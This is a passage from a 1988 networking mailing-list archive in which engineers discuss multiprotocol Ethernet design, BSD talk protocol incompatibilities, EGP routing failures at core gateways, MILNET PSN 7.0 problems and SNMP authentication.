Is it reasonable to do a single network carrying the 3 protocols,
i.e. a level 2 network ?
(By level 2 I mean MAC level Ethernet frames, thus not building
the network with IP gateways between subnets, and with mixing of
the 3 protocols on the same media)

Or is it better to do 3 parallel networks ? (DECnet is not so
widespread, but may become so, and XNS is used only by the PCs
doing administrativia, under 3Com system) (The PC networks were
planned to exchange informations through X25 gateways, low level
traffic, integrated into the general X25 net.)

What kind of trouble can we expect from a level 2 network ?
(For IP we would use a single class B network)

Are the IB30 enough to isolate Ethernets from wild computers going
bezerk on their network ? (We have the case of a uVax Ultrix
making 3 suns crazy with burst of broadcast ARP packets, playing
ping-pong, and literally stopping the sun 2/260 for several
seconds every minute or so... a generalisation of this will
can make the network unusable quite fast)

Why all University campus network scheme I have seen do not
seems to mix protocols ?

The other possibility is to make a IP only network, with
gateways between subnets. (what kind of hardware can we use as
gateway is an other questions : PCs with the proper software
and some Ethernet controler cards, or Suns with more than
two Ethernet controller cards, or ...?)

Is there any way to make a single physical gateway do the
routing for the 3 protocols simultaneoulsly ?

The latest, and more theoretical, question :
Is it possible to have a class C network used as intermediate
between subnets of a single class B network ?

regards,

Jean-Pierre H. Dumas

network@frsac11 (bitnet)
network%frsac11.bitnet@cunyvm.cuny.edu (arpanet)
dumas@sumex-aim.stanford.edu (arpanet)
-----------[000183][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 21:10:48 GMT
From:      barmar@think.COM (Barry Margolin)
To:        comp.sources.wanted,comp.protocols.misc,comp.protocols.tcp-ip
Subject:   Re: 'Talk' command and protocol

In article <1468@cseg.uucp> dws@cseg.uucp (David W. Summers) writes:
>   My main question is:  Is there a standard yet for this 'talk' protocol?  If
>so, where could I find it?  If not, then why not, and what would it take to
>produce one?  What is strange is that on each of our different types of
>computers, there was a 'talk   517/udp' entry in the /etc/services file which
>led me to believe that everyone knew about it.  However, I could find NOTHING
>that even referenced it during my search of the RFC's.

You think it's weird that the Berkeley and Harris versions of talk are
incompatible?  The SunOS 3.5 and SunOS 4.0 versions won't work with
each other (leading to problems in our network where we are
incrementally converting workstations to 4.0)!

Regarding RFC's, the DDN only standardizes the use of ports from 1 to
255.  Any port number greater than 255 is not under the control of a
DDN standard.

Barry Margolin
Thinking Machines Corp.

barmar@think.com
{uunet,harvard}!think!barmar

-----------[000184][next][prev][last][first]----------------------------------------------------
Date:      20 Dec 88 21:17:29 GMT
From:      haven!aplcen!aplcomm!trn%aplcomm.jhuapl.edu@ames.arc.nasa.gov  (Tony Nardo)
To:        tcp-ip@sri-nic.arpa
Subject:   "MILNET Cutover Report 3" -- an observation
>                                 PSN 7.0 NEE
>                           MILNET Cutover Report 3
>
>                               12 December 1988
>
>     The Defense Communications System Data Systems (DCSDS) is pleased to 
> report that Packet Switch Node Release 7.0 (PSN 7.0) is fully operational on 
> the MILNET.  The cutover to PSN 7.0's full capabilities took place on 
> December 3, 1988, and DCSDS declared on December 9 that PSN 7.0 had 
> stabilized.

So this is why network connections from MILNET sites were being so troublesome.

Unfortunately, while PSN 7.0 has settled down somewhat, as of 12/20 it has not
truly stabilized.  There are still routing problems in the network.  We still
experience situations where
			  finger @<target node>
times out or gives a "Network is unreachable" error, but
		finger @<target node>@<intermediate node>
tells us that the target site is indeed alive.

(A pity no one wrote a version of "ping" that allows such route testing...)

Obviously, there are still some glitches.  Has anyone seen behavior like this
on the ARPANET, when neither the target nor intermediate nodes are on MILNET?

================================================================================
ARPA:	trn@aplcomm.jhuapl.edu		UUCP:	{backbone!}mimsy!aplcomm!trn
BITNET:	trn@warper.jhuapl.edu

	programming (v): the art of debugging a blank sheet of paper.
================================================================================
-----------[000185][next][prev][last][first]----------------------------------------------------
Date:      Wed, 21 Dec 88 08:44:09 -0500
From:      "Marty Schoffstall" <schoff@stonewall.nyser.net>
To:        hal@gateway.mitre.org (Hal Feinstein)
Cc:        tcp-ip@sri-nic.arpa, dertke@gateway.mitre.org, snmp@nisc.nyser.net
Subject:   Re: Network Security

The SGMP/SNMP authors have discussed for quite awhile a operational
middle-of-the-road path:

 A community that allows access to Read-Only MIB objects
(essentially allowing only GET PDU's), can be happy
as currently spec'd without authentication.  A community enabled
to access READ-WRITE MIB objects (allowing SET PDU's) would need real
authentication.

Now the very major assumption here is that you have a relatively
open environment such as a campus network, regional NSF network, or
open backbone like NSFNet.  I realize that this environment is probably
not true of your basic corporate network, or RBOC network.  These people
need/want authentication.  I personally don't believe that a real military
network is going to every be satisified without a solution that includes
NSA designed and fabbed encryption chips.

My last point Hal is that if you keep the community name private
as currently spec'd you have a psuedo-password.

Save for SET's this is how most of the regional networks have been
running for a year.  I haven't heard any stifled screams yet.

Marty
    
-----------------
     
    avsd.childers@tycho reports

    >>We need some *serious* authentication capability in SNMP.
    > I hope its not mandatory ... it adds overhead that's
    > not always needed.

    I'm not sure I'm buying this just yet. Sure, big authentication
    subsystems with trusted identity servers are overhead, but
    simpler schemes, not as completely secure will do wonders 
    against 99% of the hacks your guarding against. As much as I
    hate them, passwords are a start in this direction.  If you
    can keep people from fooling around with some form of key
    variable inside the gateway, switch, or what-have you, then
    pairwise keying works fine.  There is a whole spectrum of 
    authentication measures available, depending on your
    requirements.

    Overhead?  -try some of the fast algorithms.  You don't need
    software DES or 3,000 bit public keys for most (but not all)   
    commercial stuff. 
-----------[000186][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 00:40:05 GMT
From:      jin@hplabsz.HPL.HP.COM (Tai Jin)
To:        comp.sources.wanted,comp.protocols.misc,comp.protocols.tcp-ip
Subject:   Re: 'Talk' command and protocol

Re: talk protocol

There are two versions of the BSD talk protocol which are incompatible with
each other.  The 4.2BSD version uses the "talk 517/udp" services entry and
the 4.3BSD version uses the "ntalk 518/udp" services entry.  The one provided
on the HP is most likely the 4.2BSD version.

I would suggest that you get the 4.3BSD version and port that to all of your
systems.

...tai

-----------[000187][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 00:54:09 GMT
From:      brescia@PARK-STREET.BBN.COM (Mike Brescia)
To:        comp.protocols.tcp-ip
Subject:   EGP and ROUTING

People,

Various different sounding routing complaints have been coming in via the
egp-people mailing list, the tcp-ip mailing list, the gated-people mailing
list, private mail, and telephone.  Some messages are extracted at the end.

Problems reported:

1. My host X cannot get to host Y.

2. My gateway X has no route for net Y.

3. My gateway X cannot run its egp with core server S (or T, or U).

4. My gateway X runs egp, and gets no routing info (NR messages) from core.

5. My gateway X runs egp, and gets partially garbled routes from core.

Some explanations:

1. is the simplest if the person at host X can report the results of
   "netstat -r" and point out the default or other gateways used to get to the
   net where host Y sits; conversely, I hope that X could call Y and ask the
   same sort of questions for the return path.  If X and Y cannot communicate,
   then we often need to figure out whether the problem is on the path from X
   to Y or the reverse path back from Y to X.

   Given the hosts are O.K., the question recurses to one of the gateways
   involved in problems 2-5.

2. Have to break this down, see by running some EGP trace logs on your gateway
   X whether it is problem 3, 4, or 5.

3. Growth!  Some of the core gateways were oversubscribed, and the total
   neighbor spaces (peer slots?) available, especially on milnet, was too
   much.

   The fix here was to, yet again, squeeze more net and neighbor space in to
   the LSI11 core gateways.  Steve Atlas has been working hard to maintain
   these bears.  The 3 egp core servers on the Arpanet, and 2 out of the 3 on
   the Milnet, have been upgraded today.

4. Growth!  Some versions of EGP have suffered from the growing number of nets
   reported in the NR messages, when the reassembled packet size crept over
   2K bytes.  Some were able to recompile with the EGPPACKETSIZE constant set
   larger, like 4K.  Some noted that not all the modules needed were
   recompiled by the normal 'make' rules, and recommended recompiling the
   whole EGPUP program.

   Some sites run 4.3bsd unix, and were able to incorporate fixes mentioned on
   the egp-people list advising how to use the 'setsockopt' system call to
   assign more buffering to the egp connection, so that fragments of large
   packets could be reassembled and delivered to the egp process.

   Some sites run the 'gated' version of EGP, and get some great support from
   the people at Cornell (gated-people-request@devvax.tn.cornell.edu).

5. Growth! and a bug in the LSI11 egp code.  Bug was introduced in the version
   that began handling more than 256 nets.  Caused the info in the NR message
   to be sent with the distances no longer in ascending order.  Caused there
   to be more than 255 distances reported for a single neighbor, trying to
   stuff that number (e.g. 264) into an 8 bit field.

   This afternoon, Tuesday 12/20, the fix for this has been put in the 5 egp
   servers that have been reloaded so far (mentioned in 3 above).

Keep those packet dumps coming.

Mike Brescia
BBNCC Gateway Development Group
800-492-4992 (or 617-873-3662)

------------------- some forwarded messages, excerpted ---------------

Date:     Sat, 17 Dec 88 1:04:11 EST
From: Tim Smith (USNA|tcs) <tsmith@BRL.MIL>
To: control@bbn.com, tcp-ip@sri-nic.ARPA, gated-people@devvax.TN.CORNELL.EDU
Subject:  core routing capacity exceeded?
Message-Id:  <8812170104.aa18644@SEM.BRL.MIL>

Morning all,

I have been experiencing a bit of trouble acquiring routing
information from the core gateways over the last few days. We use
gated (version 1.3.1.36) to speak EGP to the core gateways and have
noticed that gated has not been providing nearly as good routing
information as it usually does- we have been losing contact with the
core gateways and gated has been mysteriously dying. 

I turned on tracing and came across the following:
[...]
EGP RECV 26.1.0.65 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 1, id 1

EGP RECV 26.1.0.40 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 2049, id 1

EGP RECV 26.3.0.75 -> 26.7.0.102 Sat Dec 17 00:10:21 1988
vers 2, type ACQUIRE(3), code REFUSE(2), status INSUFFICIENT RESOURCES(3), 
AS# 1, id 1

Is it possible that the routing tables have grown too large and
exceeded the core's capacity? What other reasons are there for the
insufficient resources message?
[...]
What does everyone else think?

	Tim Smith -[hp]ostmaster and general network person

------------------- some forwarded messages, excerpted ---------------

Return-Path: <cal@okc-unix.ARPA>
Message-Id: <8812192039.AA15146@okc-unix.ARPA>
Date: Mon Dec 19 14:39:15 1988
From: cal@okc-unix.ARPA (Charles Leach)
Subject: EGP Sick?
To: egp-people@bbn.com

For the past week or see, EGP has been very intermittent in acquiring
routes. Is there any reason for this behavior or is it virus/worm
fallout that we can come to expect?

charles..

------------------- some forwarded messages, excerpted ---------------

To: cal@okc-unix.ARPA (Charles Leach)
cc: egp-people
Subject: Re: EGP Sick? 
In-reply-to: Your message of Mon, 19 Dec 00 19:88:15 +0000.
             <8812192039.AA15146@okc-unix.ARPA> 
Date: Mon, 19 Dec 88 16:50:56 -0500
From: Mike Brescia <brescia@park-street>

     For the past week or see, EGP has been very intermittent in acquiring
     routes. Is there any reason for this behavior ...

Two factors here.

1. the size of the Net Reachability message sent by the core is growing.  If
your host kernel cannot reassemble and deliver, or your EGP cannot receive
packets much larger than 2K (recommend 4K), you will probably see EGP
apparently stop receiving any net reachability information at all.  The
Acquire cycle works, the Hello cycle works, but when you send a Poll, you will
receive 2 or 3 fragments, totalling more than 2,000 bytes.

2. A bug has just been exhibited by Walter Prue at ISI, where the LSI11 code
sending an EGP message sends the NR information with the distances out of
order, creating the apparent need for stuffing more than 255 distance reports
through a single 'neighbor'.  The result is that your EGP will receive some NR
message, but only a few nets show up in in your routing table, because
the NR message is badly formed.

In the first case, your EGP trace will probably show no NR message at all; in
the second case, a trace should show some NR message received, but with some
error condition.

We are dragging out the big guns to fix this second problem ASAP.

[BANG..:-]

------------------- some forwarded messages, excerpted ---------------

Date: 8 Dec 88 04:11:11 GMT
From: haven!aplcen!aplcomm!trn%aplcomm.jhuapl.edu@mimsy.umd.edu  (Tony Nardo)
Organization: Johns Hopkins University/APL (Baltimore, Md.)
Subject: Is someone playing games with the MILNET/ARPANET interface?
Message-Id: <2648@aplcomm.jhuapl.edu>
Sender: tcp-ip-relay@sri-nic.arpa
To: tcp-ip@sri-nic.arpa

I am on a MILNET site.  I have noticed three times in the past week (and
twice in the past two days) that, while I can not reach a site directly, I
*can* reach it thru BRL.ARPA.  For example,

	finger @maryland.arpa

will come back with a "Network is unreachable" response, but

	finger @maryland.arpa@brl.arpa

gives the desired "finger" output.  Likewise, while I can't send mail directly
to a site without it languishing in a mail queue (the name server can't connect
to resolve the address), I *CAN* send the mail thru BRL.ARPA.

This situation did not arise until CNNC's decision to yank the MILNET/
ARPANET link for "technical difficulties".  The first two times, the problem
eventually "cleared itself".  This is the third time the problem has arisen.


Is someone still playing games with the MILNET/ARPANET interface?  From my
rather untutored perspective, it looks as if "routed" is dying or being
deliberately killed somewhere.

Anyone have any insights?

[...]

[ check routing ? - m ]

-----------[000188][next][prev][last][first]----------------------------------------------------
Date:      Wed, 21 Dec 88 12:48:03 -0500
From:      Mike Brescia <brescia@PARK-STREET.BBN.COM>
To:        Rick Adams <rick@seismo.css.gov>
Cc:        egp-people@PARK-STREET.BBN.COM, tcp-ip@SRI-NIC.ARPA, iab@venera.isi.edu, ietf@gateway.mitre.org
Subject:   Re: EGP and ROUTING [butterflies]

     When are the (now legendary and semi-mythical) Butterfly gateways
     supposed to replace the 11/73s and solve this out of memory problem.

Short answer:
 Next year, as in early next year.

Long answer:

DDN is in the process of issuing the Management Bulletins to announce the
official transition schedule.  Expect these in the next few weeks.

The Butterfly(tm) Mailbridges are installed, and running tests.  The final
software and configurations are not yet running.  Some sites have been
recruited to do some testing of the EGP, and Butterflies have been passing
traffic in parallel with the LSI11 mailbridges.  If your site has a gateway on
the Milnet or Arpanet, and you wish to run EGP with the Butterflies, send a
note to "mb-transition-request@bbn.com" to be on the list, and get the
Mailbridge address.  [I realize that you may already know these addresses, but
until the DDN Management Bulletins are out, please register as a 'tester'.]

Mike Brescia
Gateway Development Group
800-492-4992 (617-873-3662)
-----------[000189][next][prev][last][first]----------------------------------------------------
Date:      Wednesday, 21 December 1988 12:34:29 EST
From:      Gene.Hastings@boole.ece.cmu.edu
To:        tcp-ip@sri-nic.arpa, nwg@merit.edu
Subject:   Possible ARPA segmentation next week? Danger, Will Robinson!
Arpanet PSN #14 (CMU) will be without power 2400 Tuesday 27 December until
2000 Thursday 29 December. (The reason is extensive electrical work on the
main power feed to the building.)

My understanding of the current ARPA topology is that CMU is in the middle
of the only cross-country land line, and that only the Wideband satellite
link will connect the coasts, meaning that there will be high delays from
coast to coast.

Gene
-----------[000190][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 1988 15:02:01 EST
From:      Dale.Moore@MOORE.FAC.CS.CMU.EDU
To:        tcp-ip@SRI-NIC.ARPA
Cc:        Bruce.Miller@ANDREW.CMU.EDU
Subject:   Telnet and Timing Mark option
I have a question about telnet option negotiation and the Telnet
Timing Mark Option.

On RFC854 page 2

	If a party recevies what appears to be a request to enter
	a mode it is already in, the request should not be
	acknowledged. This non-response is essential to prevent
	endless loops in the negotiation.

But, RFC860 "Telnet Timing Mark Option" seems to violate this rule.
It seems to violate this rule by encouraging the behaviour of
having a server repeatedly sending "DO Timing-Mark", even after it has
received "WILL Timing-Mark" from a client.  I believe I clearly understand
the use of the option and the motivation.  I do not understand how to
do a server implementation that sends DO Timing-Mark, yet follows the
rules set down by the Telnet RFC.

Perhaps a better specification would have been to have the actual
timing mark be a part of a Timing-Mark suboption rather than have
it be the "Do Timing Mark" negotiation?

Comments?

Dale Moore
Computer Science
Carnegie Mellon University
-----------[000191][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 11:57:51 GMT
From:      eckert@faui10.UUCP (Toerless Eckert)
To:        comp.sources.wanted,comp.protocols.misc,comp.protocols.tcp-ip,comp.bugs.4bsd
Subject:   Re: 'Talk' command and protocol

From article <1468@cseg.uucp>, by dws@cseg.uucp (David W. Summers):
..
>    My main question is:  Is there a standard yet for this 'talk' protocol?  If
> so, where could I find it?  If not, then why not, and what would it take to
> produce one?  What is strange is that on each of our different types of
> computers, there was a 'talk   517/udp' entry in the /etc/services file which
> led me to believe that everyone knew about it.  However, I could find NOTHING
> that even referenced it during my search of the RFC's.

I do not think that talk was ever meant to be a _standard_. From my 
experiences with it i must conclude that it is a hack. While it is really
nice in its user interface, it has severe problems with its way to
exchange data. Talk uses the above mentioned structures CTL_MSG and
CTL_RESPONSE to exchange information about the partners through the net.
Talk does not use XDR or some other means of encapsulation when sending
this C structures. This causes problems when you want to run
talk between machines of different architectures. The 4.2BSD talk code
was written to run VAXen and on SUNs, and maybe on machines with similar
architecture. When receiving a CTL_MSG packet from the net, this code
does a plausiblity check about what type of machine this packet came from.
If swapping some bytes in the packet will result in a valid
IP address, then it will swap all bytes in the packet, because the program
has concluded that the remote machine must have a byte swapped architecture.
Another problem that this version of talk cannot handle at all is
the compiler alignement of structure elements. I once tried to compile talk
on a little endian machine that had an alignement to 4 byte boundaries.
Talk choked on this, and could not talk to Suns nor VAXen, because
those machines have a different alignement policy. This is what i call a
hack.
The talk supplied with 4.3BSD tries to solve this problem by
inserting some dummy char elements into this structures. But 4.3 talk
has also changed the overall structures, so it is truely incompatible
with 4.2 talk ( they use a different port for 4.3 talk though).

I have tried talk between a couple of machines ( Suns, Vaxen, Sequent,
Apollo), and there are couple of compinations that do not work. Its not
so easy to declare which version is broken, but in general it does
not work correctly.

Many other Manufacturers (HP, PCS, CRAY, ..) were so wise to leave 
talk out of their unix ports ;-)

I have previosly posted a request for a replacement for talk, but that
was only to comp.sources.wanted. Maybe that was the wrong audience.
Does someone on this lists knows if there is a suitable replacement for
talk, that does not suffer from the above mentioned problems ?

-----------[000192][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 16:18:39 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   KLOGGED MILNET BRIDGES

LANL cannot establish communication with ARPANET hosts through the
various "Mail Bridges".  DCA can reset our IMP, connections can be
established, mail flows... Then, some hours, later the pipes are
klogged again. It happens gradually. This has been going on since the
switch to the new PSN 7.0 IMP software.  Are we the only MILNET host
that is having this problem?  ITS NOT EGP!  Are there any hotshots out
there that know how and where to look for what's wrong?  Is this a know
problem that someone is working on?  Just what were the changes to the
IMP's, what was the purpose?

Are there some tools available to us (to run on 43BSD VAX) to psych this
problem out.  God I hope I haven't taken too long to compose this.

What follows is a summary of our implog for the time period:

	Dec 20 11:08:39 1988 to Dec 21 06:43:29 1988

The total time covered is about 4 hours less than that due to killing and
restarting the log daemon.  Let's say a 16 hour period.

Number of entries in the log:	25,677

19220  incomplete: htype=0, source=0/103, link=ip, no resources within 15 seconds
 2517  incomplete: htype=0, source=0/106, link=ip, no resources within 15 seconds
 1456  incomplete: htype=0, source=6/103, link=ip, no resources within 15 seconds
  871  incomplete: htype=0, source=21/104, link=ip, no resources within 15 seconds
  791  incomplete: htype=0, source=3/41, link=ip, no resources within 15 seconds
  153  incomplete: htype=0, source=20/17, link=ip, no resources within 15 seconds
  145  incomplete: htype=0, source=1/3, link=ip, no resources within 15 seconds
   93  incomplete: htype=0, source=3/75, link=ip, no resources within 15 seconds
   87  incomplete: htype=0, source=1/40, link=ip, no resources within 15 seconds
   58  incomplete: htype=0, source=3/66, link=ip, host didn't take data fast enough
   34  incomplete: htype=0, source=1/60, link=ip, no resources within 15 seconds
   30  host 1/90 unreachable: destination host isn't up
   30  host 1/90 dead: down for emergency reset, subtype=e1
   29  incomplete: htype=0, source=1/102, link=ip, no resources within 15 seconds
   19  host 0/74 unreachable: destination host isn't up
   19  host 0/74 dead: down for emergency reset, subtype=e1
   17  incomplete: htype=0, source=0/26, link=ip, no resources within 15 seconds
    8  incomplete: htype=0, source=3/75, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=21/104, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=20/17, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=1/40, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=1/102, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=0/74, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=0/26, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=0/106, link=ip, host didn't take data fast enough
    8  incomplete: htype=0, source=0/103, link=ip, host didn't take data fast enough
    5  incomplete: htype=0, source=1/90, link=ip, imp/circuit failure
    4  incomplete: htype=0, source=9/65, link=ip, host didn't take data fast enough
    4  host 3/41 unreachable: destination host isn't up
    4  host 3/41 dead: down for emergency reset, subtype=e1
    4  host 3/21 unreachable: destination host isn't up
    4  host 3/21 dead: down for emergency reset, subtype=e1
    2  incomplete: htype=0, source=3/66, link=ip, imp/circuit failure
    1 restarted: Tue Dec 20 15:02:22 1988
    1  incomplete: htype=0, source=3/75, link=ip, imp/circuit failure
    1  incomplete: htype=0, source=11/55, link=ip, host didn't take data fast enough
    1  incomplete: htype=0, source=1/65, link=ip, imp/circuit failure
    1  incomplete: htype=0, source=0/74, link=ip, imp/circuit failure
    1  host 6/128 unreachable: communication is prohibited
    1  host 1/48 unreachable: destination host isn't up
    1  host 1/48 dead: down for emergency reset, subtype=e1
    1  host 0/58 unreachable: destination imp can't be reached


Phil Wood,  cpw@lanl.gov

-----------[000193][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 17:42:52 GMT
From:      braden@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's


      [3:5] "Military Standard Internet Protocol," MIL-STD-1777,
           Department of Defense, August 1983.

           This specification, as amended by RFC-963, is intended to
           describe the Internet Protocol but has some serious omissions
           (e.g., the mandatory subnet extension of RFC-950).  It is
           also out of date.  If there is a conflict, RFC-791, RFC-792,
           and RFC-950 must be taken as authoritative.
 
 
         [4.2:2] "Transmission Control Protocol," MIL-STD-1778, US
              Department of Defense, August 1984.

              This specification as amended by RFC-964 is intended to
              describe the same protocol as RFC-793 [4.2:1].  If there
              is a conflict, RFC-793 takes precedence.

 
         [5.2:3]  "File Transfer Protocol," MIL-STD-1780, Department of
              Defense.

              This Mil-Std is based on an earlier version of the FTP
              specification (RFC-765) and is obsolete.


A future revision of RFC-1083, "IAB Official Protocol Standards", will
describe the primacy of the RFC's over the MilStd's.  Unfortunately, the
DoD has chosen not to correct or update the MilStd's for a long time.
In implementing TCP or IP, you may find reading them somewhat helpful as
background material, but you must be aware that they are seriously out
of date in some areas.  RFC-1009 and the soon-to-be-published Host
Requirements RFC take precedence over MilStds and protocol RFC's.

Bob Braden

-----------[000194][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 17:48:03 GMT
From:      brescia@PARK-STREET.BBN.COM (Mike Brescia)
To:        comp.protocols.tcp-ip
Subject:   Re: EGP and ROUTING [butterflies]


     When are the (now legendary and semi-mythical) Butterfly gateways
     supposed to replace the 11/73s and solve this out of memory problem.

Short answer:
 Next year, as in early next year.

Long answer:

DDN is in the process of issuing the Management Bulletins to announce the
official transition schedule.  Expect these in the next few weeks.

The Butterfly(tm) Mailbridges are installed, and running tests.  The final
software and configurations are not yet running.  Some sites have been
recruited to do some testing of the EGP, and Butterflies have been passing
traffic in parallel with the LSI11 mailbridges.  If your site has a gateway on
the Milnet or Arpanet, and you wish to run EGP with the Butterflies, send a
note to "mb-transition-request@bbn.com" to be on the list, and get the
Mailbridge address.  [I realize that you may already know these addresses, but
until the DDN Management Bulletins are out, please register as a 'tester'.]

Mike Brescia
Gateway Development Group
800-492-4992 (617-873-3662)

-----------[000195][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 18:21:41 GMT
From:      guy@auspex.UUCP (Guy Harris)
To:        comp.sources.wanted,comp.protocols.misc,comp.protocols.tcp-ip
Subject:   Re: 'Talk' command and protocol

Hoo boy, have *you* opened a can of worms....

>   My main question is:  Is there a standard yet for this 'talk'
> protocol?

Not unless you count the code....

>If so, where could I find it?

In the code.

>If not, then why not,

Beats me.  Probably either

	1) they were too lazy to write it down

	2) they thought it was too err, umm, *specialized* to deserve
	   a protocol spec

	3) they didn't think it was finished yet

or some linear combination of the above.

>and what would it take to produce one?

At minimum, a copy of the 4.3BSD version - which is different from the
4.2BSD version, and even uses a different port number (518 rather than
517), and which makes at least more of an attempt to be
machine-independent.

At most, some more work to fix it up to be machine-independent....

>What is strange is that on each of our different types of computers,
>there was a 'talk   517/udp' entry in the /etc/services file which
>led me to believe that everyone knew about it.  However, I could find NOTHING
>that even referenced it during my search of the RFC's.

"Everybody" who got a BSD source license and ported it, and "everybody"
who got somebody else to do same (compute "transitive closure", if you
will) knows about it.  It's not an official Internet protocol, though,
any more than say "rlogin" is.

CCI got a BSD source license and ported it; that's why Harris has it.

>   My only solution at the moment seems to be to heavily hack the code to work
>for both Harris and Berkeley versions.....

Since you say "talk" and "517", rather than "ntalk" and "518", I assume
the one on the Harris is the 4.2BSD version.  The author of this version
seemed not to be aware, or seemed to have forgotten, that not all
machines have the same byte order as a VAX.  One such machine is the
HCX-7; it has the same byte order as a 68000, which is the opposite byte
order to that of the VAX.

This means that "talk" packets sent out by the VAX are gibberish to the
HCX-7, and *vice versa*.

The "ntalk" version puts the data into a standard byte order before
sending it out on the wire.  Unfortunately, it still sends C structures
over the wire directly; fortunately, the structure *appears* to be laid
out so that the alignment and padding will be the same on most C
implementations where "short" is 2 bytes and "long" is 4 bytes.

If you FTPed the "talk" daemon from the "AT&T-free BSD stuff" on
"uunet", it's probably the 4.3BSD version.  As such, it stands at least
a fighting chance of, if successfully made to work on the HP and the
HCX-7, working compatibly on both those machines, as well as many other
machines on your network.

First, check whether either the HP or the Harris have an entry of the
form

	ntalk		518/udp

in "/etc/services".  If they do, they probably have the 4.3BSD version,
which I suspect might work between at least some set of different
machines.  If not, try to make the 4.3BSD version work on them, and if
you can do so, replace the native version with it.  (The 4.3BSD version
may depend on some 4.3BSD-isms that may not be present on the HP or the
Harris; you may have to tweak the code a bit for that.)  If *that*
doesn't work, the stuff pushed out on the wire may, in fact, still be
different; time to start digging and debugging.

-----------[000196][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 20:02:01 GMT
From:      Dale.Moore@MOORE.FAC.CS.CMU.EDU
To:        comp.protocols.tcp-ip
Subject:   Telnet and Timing Mark option

I have a question about telnet option negotiation and the Telnet
Timing Mark Option.

On RFC854 page 2

	If a party recevies what appears to be a request to enter
	a mode it is already in, the request should not be
	acknowledged. This non-response is essential to prevent
	endless loops in the negotiation.

But, RFC860 "Telnet Timing Mark Option" seems to violate this rule.
It seems to violate this rule by encouraging the behaviour of
having a server repeatedly sending "DO Timing-Mark", even after it has
received "WILL Timing-Mark" from a client.  I believe I clearly understand
the use of the option and the motivation.  I do not understand how to
do a server implementation that sends DO Timing-Mark, yet follows the
rules set down by the Telnet RFC.

Perhaps a better specification would have been to have the actual
timing mark be a part of a Timing-Mark suboption rather than have
it be the "Do Timing Mark" negotiation?

Comments?

Dale Moore
Computer Science
Carnegie Mellon University

-----------[000197][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 20:51:28 GMT
From:      consulting@vms.macc.wisc.edu (Consulting)
To:        comp.protocols.tcp-ip
Subject:   wanted: FTP for RSX-11


Can anyone recommend an implementation of FTP (public domain or
commercial) that runs under RSX-11?

---------------------------------------------------------------------
Jay Rosenbloom  608-262-9421   Internet: jrosen@vms.macc.wisc.edu
Academic Computing Center        Bitnet: jrosen@wiscmacc
University of Wisconsin

-----------[000198][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 22:28:31 GMT
From:      cheung@blake.acs.washington.edu (Aaron Y. T. Cheung)
To:        comp.protocols.tcp-ip
Subject:   Re: 'Talk' command and protocol

While on the topic ('Talk'), I would like to know if the *Ultrix* talk
is based on socket() and related calls, or something else?
I ask because on an Ultrix host I'm working with, a call for 
socket(AF_INET, SOCK_STREAM, 0) [or SOCK_DGRAM] fails with
"permission denied". but the talk (w/o suid root) works...

Also, Could someone please post some examples of sys v streams??
(or send to me directly if they're lengthy ones, thanks...)  In particular,
How can one achieve what the bsd's socket()/bind()/accept()/connect()
does, using streams (to send datagrams into the Internet)??

Aaron Cheung
cheung@blake.acs.washington.edu

-----------[000199][next][prev][last][first]----------------------------------------------------
Date:      21 Dec 88 22:31:45 GMT
From:      cpw%sneezy@LANL.GOV (C. Philip Wood)
To:        comp.protocols.tcp-ip
Subject:   MILNET, EGP, ROUTING, PSN 7.0, RFNM BLOCKAGE

How about the following:

	1. EGP is now sending datagrams greater than 2048. I know, I've
	   received them.
	2. In order for this to happen, 5 or so fragments are generated
	   "back to back shall we say", assuming 512 byte fragments.
	3. We are now exercising a bug in new PSN software which cannot
	   handle soom magic number of back to back packets on a
	   particular channel?   Resulting in a channel that is RFNM
	   blocked, it never clears, and the host is prevented from sending
	   on that particular channel.
	   
Phil Wood,  cpw@lanl.gov

	   

-----------[000200][next][prev][last][first]----------------------------------------------------
Date:      Thu, 22 Dec 88 08:18:59 -0500
From:      Andy Malis <malis@BBN.COM>
To:        Tony Nardo <trn@aplcomm.jhuapl.edu>
Cc:        tcp-ip@sri-nic.arpa, malis@BBN.COM
Subject:   Re: "MILNET Cutover Report 3" -- an observation
Tony,

If you are not directly connected to the MILNET, as I believe you
are not if you are using aplcomm.jhuapl.edu (128.244.16.1), then
your connectivity problems are most probably a result of the
gateway problems described by Mike Brescia in a previous message
to the tcp-ip list.

If you are having any problems reaching a MILNET host directly
from another MILNET host, then please report the problem to the
MILNET monitoring center at 1-800-451-7413 (free call!).  They
can't fix problems they don't know about.

Regards,
Andy
-----------[000201][next][prev][last][first]----------------------------------------------------
Date:      Thu, 22 Dec 88 15:55:34 EST
From:      Steve Blumenthal <blumenth@BBN.COM>
To:        hastings@morgul.psc.edu
Cc:        tcp-ip@sri-nic.ARPA, nwg@merit.edu, wb-ops@BBN.COM
Subject:   Re:  Possible ARPA segmentation next week? Danger, Will Robinson!
Gene,

Thanks for your note.  Please be sure to notify the ARPANET NOC
at BBN about the power outage.  Their telephone number is 1-800-492-4992.
I'm not sure that the controllers are regular readers of the tcp-ip
mailing list.  Besides the three cross country links being carried as
